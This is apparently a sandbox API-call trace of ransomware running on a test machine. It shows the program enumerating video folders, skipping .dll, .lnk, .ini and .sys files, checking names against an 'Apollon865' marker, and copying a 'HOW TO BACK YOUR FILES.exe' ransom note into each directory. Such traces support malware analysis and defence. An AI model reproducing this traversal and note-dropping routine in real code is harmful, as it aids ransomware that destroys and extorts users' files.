	[0040.210] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x390842f0, ftCreationTime.dwHighDateTime=0x1d4caae, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3013b0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.210] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.210] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.210] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="3gCWEGz5kWJo.avi" | out: lpString1="3gCWEGz5kWJo.avi") returned="3gCWEGz5kWJo.avi"
	[0040.210] lstrlenW (lpString="3gCWEGz5kWJo.avi") returned 16
	[0040.210] lstrlenW (lpString="Apollon865") returned 10
	[0040.210] lstrcmpiW (lpString1="z5kWJo.avi", lpString2="Apollon865") returned 1
	[0040.210] lstrlenW (lpString=".dll") returned 4
	[0040.210] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2=".dll") returned 1
	[0040.210] lstrlenW (lpString=".lnk") returned 4
	[0040.210] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2=".lnk") returned 1
	[0040.210] lstrlenW (lpString=".ini") returned 4
	[0040.210] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2=".ini") returned 1
	[0040.211] lstrlenW (lpString=".sys") returned 4
	[0040.211] lstrcmpiW (lpString1="3gCWEGz5kWJo.avi", lpString2=".sys") returned 1
	[0040.211] lstrlenW (lpString="3gCWEGz5kWJo.avi") returned 16
	[0040.211] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="6eM5vJeVl2WNst9pxsqF" | out: lpString1="6eM5vJeVl2WNst9pxsqF") returned="6eM5vJeVl2WNst9pxsqF"
	[0040.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0040.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599450
	[0040.211] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0040.211] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da24f80, ftCreationTime.dwHighDateTime=0x1d4d161, ftLastAccessTime.dwLowDateTime=0x32c9db20, ftLastAccessTime.dwHighDateTime=0x1d4c567, ftLastWriteTime.dwLowDateTime=0x32c9db20, ftLastWriteTime.dwHighDateTime=0x1d4c567, nFileSizeHigh=0x0, nFileSizeLow=0x10a9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="87ocWvi.swf", cAlternateFileName="")) returned 1
	[0040.211] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.211] lstrcmpiW (lpString1="87ocWvi.swf", lpString2="Apollon865.txt.exe") returned -1
	[0040.211] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="87ocWvi.swf" | out: lpString1="87ocWvi.swf") returned="87ocWvi.swf"
	[0040.211] lstrlenW (lpString="87ocWvi.swf") returned 11
	[0040.211] lstrlenW (lpString="Apollon865") returned 10
	[0040.211] lstrcmpiW (lpString1="7ocWvi.swf", lpString2="Apollon865") returned -1
	[0040.211] lstrlenW (lpString=".dll") returned 4
	[0040.211] lstrcmpiW (lpString1="87ocWvi.swf", lpString2=".dll") returned 1
	[0040.211] lstrlenW (lpString=".lnk") returned 4
	[0040.211] lstrcmpiW (lpString1="87ocWvi.swf", lpString2=".lnk") returned 1
	[0040.211] lstrlenW (lpString=".ini") returned 4
	[0040.211] lstrcmpiW (lpString1="87ocWvi.swf", lpString2=".ini") returned 1
	[0040.211] lstrlenW (lpString=".sys") returned 4
	[0040.211] lstrcmpiW (lpString1="87ocWvi.swf", lpString2=".sys") returned 1
	[0040.211] lstrlenW (lpString="87ocWvi.swf") returned 11
	[0040.211] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MIISpjMHBYH.flv" | out: lpString1="MIISpjMHBYH.flv") returned="MIISpjMHBYH.flv"
	[0040.211] lstrlenW (lpString="MIISpjMHBYH.flv") returned 15
	[0040.211] lstrlenW (lpString="Apollon865") returned 10
	[0040.211] lstrcmpiW (lpString1="jMHBYH.flv", lpString2="Apollon865") returned 1
	[0040.211] lstrlenW (lpString=".dll") returned 4
	[0040.211] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2=".dll") returned 1
	[0040.211] lstrlenW (lpString=".lnk") returned 4
	[0040.211] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2=".lnk") returned 1
	[0040.211] lstrlenW (lpString=".ini") returned 4
	[0040.211] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2=".ini") returned 1
	[0040.212] lstrlenW (lpString=".sys") returned 4
	[0040.212] lstrcmpiW (lpString1="MIISpjMHBYH.flv", lpString2=".sys") returned 1
	[0040.212] lstrlenW (lpString="MIISpjMHBYH.flv") returned 15
	[0040.212] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="vITkbYTcVnkfQOzJRpm" | out: lpString1="vITkbYTcVnkfQOzJRpm") returned="vITkbYTcVnkfQOzJRpm"
	[0040.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0040.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b9168
	[0040.212] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fd10
	[0040.212] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd4995d0, ftCreationTime.dwHighDateTime=0x1d4c867, ftLastAccessTime.dwLowDateTime=0x62204380, ftLastAccessTime.dwHighDateTime=0x1d4d036, ftLastWriteTime.dwLowDateTime=0x62204380, ftLastWriteTime.dwHighDateTime=0x1d4d036, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vITkbYTcVnkfQOzJRpm", cAlternateFileName="VITKBY~1")) returned 0
	[0040.212] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.212] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd30
	[0040.212] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm"
	[0040.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0040.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0040.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm") returned 67
	[0040.212] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm"
	[0040.212] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.212] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.217] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.217] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd4995d0, ftCreationTime.dwHighDateTime=0x1d4c867, ftLastAccessTime.dwLowDateTime=0x3013b0d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3013b0d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.217] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.217] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.217] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="cgi3f5aHjv.mkv" | out: lpString1="cgi3f5aHjv.mkv") returned="cgi3f5aHjv.mkv"
	[0040.217] lstrlenW (lpString="cgi3f5aHjv.mkv") returned 14
	[0040.217] lstrlenW (lpString="Apollon865") returned 10
	[0040.217] lstrcmpiW (lpString1="f5aHjv.mkv", lpString2="Apollon865") returned 1
	[0040.217] lstrlenW (lpString=".dll") returned 4
	[0040.217] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2=".dll") returned 1
	[0040.217] lstrlenW (lpString=".lnk") returned 4
	[0040.217] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2=".lnk") returned 1
	[0040.217] lstrlenW (lpString=".ini") returned 4
	[0040.217] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2=".ini") returned 1
	[0040.217] lstrlenW (lpString=".sys") returned 4
	[0040.217] lstrcmpiW (lpString1="cgi3f5aHjv.mkv", lpString2=".sys") returned 1
	[0040.217] lstrlenW (lpString="cgi3f5aHjv.mkv") returned 14
	[0040.217] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="EdxXw5.swf" | out: lpString1="EdxXw5.swf") returned="EdxXw5.swf"
	[0040.217] lstrlenW (lpString="EdxXw5.swf") returned 10
	[0040.217] lstrlenW (lpString="Apollon865") returned 10
	[0040.217] lstrlenW (lpString=".dll") returned 4
	[0040.239] lstrcmpiW (lpString1="EdxXw5.swf", lpString2=".dll") returned 1
	[0040.239] lstrlenW (lpString=".lnk") returned 4
	[0040.239] lstrcmpiW (lpString1="EdxXw5.swf", lpString2=".lnk") returned 1
	[0040.239] lstrlenW (lpString=".ini") returned 4
	[0040.239] lstrcmpiW (lpString1="EdxXw5.swf", lpString2=".ini") returned 1
	[0040.239] lstrlenW (lpString=".sys") returned 4
	[0040.239] lstrcmpiW (lpString1="EdxXw5.swf", lpString2=".sys") returned 1
	[0040.239] lstrlenW (lpString="EdxXw5.swf") returned 10
	[0040.239] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="obFUBO-skue.mp4" | out: lpString1="obFUBO-skue.mp4") returned="obFUBO-skue.mp4"
	[0040.239] lstrlenW (lpString="obFUBO-skue.mp4") returned 15
	[0040.239] lstrlenW (lpString="Apollon865") returned 10
	[0040.239] lstrcmpiW (lpString1="O-skue.mp4", lpString2="Apollon865") returned 1
	[0040.239] lstrlenW (lpString=".dll") returned 4
	[0040.239] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2=".dll") returned 1
	[0040.240] lstrlenW (lpString=".lnk") returned 4
	[0040.240] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2=".lnk") returned 1
	[0040.240] lstrlenW (lpString=".ini") returned 4
	[0040.240] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2=".ini") returned 1
	[0040.240] lstrlenW (lpString=".sys") returned 4
	[0040.240] lstrcmpiW (lpString1="obFUBO-skue.mp4", lpString2=".sys") returned 1
	[0040.240] lstrlenW (lpString="obFUBO-skue.mp4") returned 15
	[0040.240] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="vAoXMAlnnzvwS.swf" | out: lpString1="vAoXMAlnnzvwS.swf") returned="vAoXMAlnnzvwS.swf"
	[0040.240] lstrlenW (lpString="vAoXMAlnnzvwS.swf") returned 17
	[0040.240] lstrlenW (lpString="Apollon865") returned 10
	[0040.240] lstrcmpiW (lpString1="nnzvwS.swf", lpString2="Apollon865") returned 1
	[0040.240] lstrlenW (lpString=".dll") returned 4
	[0040.240] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2=".dll") returned 1
	[0040.240] lstrlenW (lpString=".lnk") returned 4
	[0040.240] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2=".lnk") returned 1
	[0040.240] lstrlenW (lpString=".ini") returned 4
	[0040.240] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2=".ini") returned 1
	[0040.240] lstrlenW (lpString=".sys") returned 4
	[0040.240] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2=".sys") returned 1
	[0040.240] lstrlenW (lpString="vAoXMAlnnzvwS.swf") returned 17
	[0040.240] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="_wg1yDowcPrQP6Fl66.mkv" | out: lpString1="_wg1yDowcPrQP6Fl66.mkv") returned="_wg1yDowcPrQP6Fl66.mkv"
	[0040.240] lstrlenW (lpString="_wg1yDowcPrQP6Fl66.mkv") returned 22
	[0040.240] lstrlenW (lpString="Apollon865") returned 10
	[0040.240] lstrcmpiW (lpString1="P6Fl66.mkv", lpString2="Apollon865") returned 1
	[0040.240] lstrlenW (lpString=".dll") returned 4
	[0040.240] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2=".dll") returned 1
	[0040.240] lstrlenW (lpString=".lnk") returned 4
	[0040.240] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2=".lnk") returned 1
	[0040.240] lstrlenW (lpString=".ini") returned 4
	[0040.240] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2=".ini") returned 1
	[0040.240] lstrlenW (lpString=".sys") returned 4
	[0040.240] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2=".sys") returned 1
	[0040.240] lstrlenW (lpString="_wg1yDowcPrQP6Fl66.mkv") returned 22
	[0040.241] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF"
	[0040.241] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0040.241] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0040.241] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF") returned 68
	[0040.241] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF"
	[0040.241] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.241] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\6em5vjevl2wnst9pxsqf\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.246] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.246] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\6eM5vJeVl2WNst9pxsqF\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ab0f6c0, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30187390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.246] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.246] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.246] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="IDNp4-.avi" | out: lpString1="IDNp4-.avi") returned="IDNp4-.avi"
	[0040.246] lstrlenW (lpString="IDNp4-.avi") returned 10
	[0040.246] lstrlenW (lpString="Apollon865") returned 10
	[0040.246] lstrlenW (lpString=".dll") returned 4
	[0040.246] lstrcmpiW (lpString1="IDNp4-.avi", lpString2=".dll") returned 1
	[0040.246] lstrlenW (lpString=".lnk") returned 4
	[0040.246] lstrcmpiW (lpString1="IDNp4-.avi", lpString2=".lnk") returned 1
	[0040.246] lstrlenW (lpString=".ini") returned 4
	[0040.246] lstrcmpiW (lpString1="IDNp4-.avi", lpString2=".ini") returned 1
	[0040.247] lstrlenW (lpString=".sys") returned 4
	[0040.247] lstrcmpiW (lpString1="IDNp4-.avi", lpString2=".sys") returned 1
	[0040.247] lstrlenW (lpString="IDNp4-.avi") returned 10
	[0040.247] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="xq1LW83F-TEu.avi" | out: lpString1="xq1LW83F-TEu.avi") returned="xq1LW83F-TEu.avi"
	[0040.247] lstrlenW (lpString="xq1LW83F-TEu.avi") returned 16
	[0040.247] lstrlenW (lpString="Apollon865") returned 10
	[0040.247] lstrcmpiW (lpString1="3F-TEu.avi", lpString2="Apollon865") returned -1
	[0040.247] lstrlenW (lpString=".dll") returned 4
	[0040.247] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2=".dll") returned 1
	[0040.247] lstrlenW (lpString=".lnk") returned 4
	[0040.247] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2=".lnk") returned 1
	[0040.247] lstrlenW (lpString=".ini") returned 4
	[0040.247] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2=".ini") returned 1
	[0040.247] lstrlenW (lpString=".sys") returned 4
	[0040.247] lstrcmpiW (lpString1="xq1LW83F-TEu.avi", lpString2=".sys") returned 1
	[0040.247] lstrlenW (lpString="xq1LW83F-TEu.avi") returned 16
	[0040.247] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="ZgU-0Y lRy sna9isfQ.mp4" | out: lpString1="ZgU-0Y lRy sna9isfQ.mp4") returned="ZgU-0Y lRy sna9isfQ.mp4"
	[0040.247] lstrlenW (lpString="ZgU-0Y lRy sna9isfQ.mp4") returned 23
	[0040.247] lstrlenW (lpString="Apollon865") returned 10
	[0040.247] lstrcmpiW (lpString1="a9isfQ.mp4", lpString2="Apollon865") returned -1
	[0040.247] lstrlenW (lpString=".dll") returned 4
	[0040.247] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2=".dll") returned 1
	[0040.247] lstrlenW (lpString=".lnk") returned 4
	[0040.247] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2=".lnk") returned 1
	[0040.247] lstrlenW (lpString=".ini") returned 4
	[0040.247] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2=".ini") returned 1
	[0040.247] lstrlenW (lpString=".sys") returned 4
	[0040.247] lstrcmpiW (lpString1="ZgU-0Y lRy sna9isfQ.mp4", lpString2=".sys") returned 1
	[0040.247] lstrlenW (lpString="ZgU-0Y lRy sna9isfQ.mp4") returned 23
	[0040.247] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q"
	[0040.247] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0040.248] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0040.248] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q") returned 55
	[0040.248] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q"
	[0040.248] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.248] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hai8-2ik1bcnpces5q\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.252] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.252] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\hAi8-2ik1bCNPces5Q\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x156d5c90, ftCreationTime.dwHighDateTime=0x1d4c5b8, ftLastAccessTime.dwLowDateTime=0x30187390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30187390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.252] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.252] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.253] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="9EneLV-Fg4V.mkv" | out: lpString1="9EneLV-Fg4V.mkv") returned="9EneLV-Fg4V.mkv"
	[0040.253] lstrlenW (lpString="9EneLV-Fg4V.mkv") returned 15
	[0040.253] lstrlenW (lpString="Apollon865") returned 10
	[0040.253] lstrcmpiW (lpString1="V-Fg4V.mkv", lpString2="Apollon865") returned 1
	[0040.253] lstrlenW (lpString=".dll") returned 4
	[0040.253] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2=".dll") returned 1
	[0040.253] lstrlenW (lpString=".lnk") returned 4
	[0040.253] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2=".lnk") returned 1
	[0040.253] lstrlenW (lpString=".ini") returned 4
	[0040.253] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2=".ini") returned 1
	[0040.253] lstrlenW (lpString=".sys") returned 4
	[0040.253] lstrcmpiW (lpString1="9EneLV-Fg4V.mkv", lpString2=".sys") returned 1
	[0040.253] lstrlenW (lpString="9EneLV-Fg4V.mkv") returned 15
	[0040.253] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="jUyHLYXoL0Zwx55G2f.mkv" | out: lpString1="jUyHLYXoL0Zwx55G2f.mkv") returned="jUyHLYXoL0Zwx55G2f.mkv"
	[0040.253] lstrlenW (lpString="jUyHLYXoL0Zwx55G2f.mkv") returned 22
	[0040.253] lstrlenW (lpString="Apollon865") returned 10
	[0040.253] lstrcmpiW (lpString1="x55G2f.mkv", lpString2="Apollon865") returned 1
	[0040.253] lstrlenW (lpString=".dll") returned 4
	[0040.253] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2=".dll") returned 1
	[0040.253] lstrlenW (lpString=".lnk") returned 4
	[0040.253] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2=".lnk") returned 1
	[0040.253] lstrlenW (lpString=".ini") returned 4
	[0040.253] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2=".ini") returned 1
	[0040.253] lstrlenW (lpString=".sys") returned 4
	[0040.253] lstrcmpiW (lpString1="jUyHLYXoL0Zwx55G2f.mkv", lpString2=".sys") returned 1
	[0040.253] lstrlenW (lpString="jUyHLYXoL0Zwx55G2f.mkv") returned 22
	[0040.253] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="kypfleYqzdoAf0tdH8d.mkv" | out: lpString1="kypfleYqzdoAf0tdH8d.mkv") returned="kypfleYqzdoAf0tdH8d.mkv"
	[0040.253] lstrlenW (lpString="kypfleYqzdoAf0tdH8d.mkv") returned 23
	[0040.253] lstrlenW (lpString="Apollon865") returned 10
	[0040.253] lstrcmpiW (lpString1="0tdH8d.mkv", lpString2="Apollon865") returned -1
	[0040.253] lstrlenW (lpString=".dll") returned 4
	[0040.253] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2=".dll") returned 1
	[0040.253] lstrlenW (lpString=".lnk") returned 4
	[0040.254] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2=".lnk") returned 1
	[0040.254] lstrlenW (lpString=".ini") returned 4
	[0040.254] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2=".ini") returned 1
	[0040.254] lstrlenW (lpString=".sys") returned 4
	[0040.254] lstrcmpiW (lpString1="kypfleYqzdoAf0tdH8d.mkv", lpString2=".sys") returned 1
	[0040.254] lstrlenW (lpString="kypfleYqzdoAf0tdH8d.mkv") returned 23
	[0040.254] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K"
	[0040.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0040.254] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0040.254] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K") returned 42
	[0040.254] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\1PE8K"
